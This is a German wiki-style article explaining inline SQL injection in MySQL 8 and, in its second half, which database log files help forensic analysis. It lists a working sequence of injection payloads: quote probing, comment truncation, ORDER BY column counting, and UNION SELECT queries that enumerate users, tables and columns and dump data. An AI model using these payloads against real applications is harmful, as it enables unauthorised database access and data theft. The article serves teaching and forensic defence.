Inline (Queries) SQL Injection
Inline (Queries) SQL Injection
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein. Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt. Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).
Die Inline-Injections sind grob einzuteilen in [1]:
- Error Based SQL Injection
- Union-based SQLi
Außerdem ist erwähnenswert, dass sowohl [2]
- Inline-Stringinjections
- Inline-Injections von numerischen Werten
möglich sind.
Beispiel
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.
1.) Simple Inline SQLi:
'
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung: Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.
Kommentarzeichen | Funktion | Anmerkung |
---|---|---|
-- | Einzeiliger Kommentar | Es muss ein Leerzeichen oder Steuerzeichen folgen |
# | Einzeiliger Kommentar | |
/**/ | Mehrzeiliger Kommentar | Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird. |
3.) Identifikation der Spaltenanzahl:
' ORDER BY #; --'
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:
' AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #
5.) Zeigt alle verfügbaren Tabellen des Schemas an:
' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:
' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='Adresse' ##
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:
' UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -
Forensische Analyse
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert. Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:
DBMS | Name | Ziel | Path bzw. Datei | Besonderheiten | |
---|---|---|---|---|---|
MySQL | General Query Log | Verbindungsinformationen und alle abgesetzten Statements | Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log Linux: /var/lib/mysql/general_log.CSV |
Nicht per Default aktiv | |
MySQL | Binary Log | Alle Data modifications DDL & DML |
Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin Linux: /var/lib/mysql/binlog.* |
Aufruf mit: mysqlbinlog -v /path/to/log | |
MongoDB | mongodb.log | Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY | /var/log/mongodb/mongodb.log | Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt | |
PostgreSQL | postgresql-*.log | Je nach Konfiguration über die postgresql.conf im Installdir | Windows / Linux: Installdir/data/postgresql-*.log | Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom | |
Oracle | Beispiel | Beispiel | Beispiel | Beispiel | |
Erweitere | mich | gerne | # | # |
Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.
Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist. Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC's, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff <> IP.
Quellen
- ↑ Types of SQL Injection (SQLi) Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.
- ↑ Clarke, Justin(2016): SQL Hacking, FRANZIS Verlag, Haar, Kapitel 2.3.2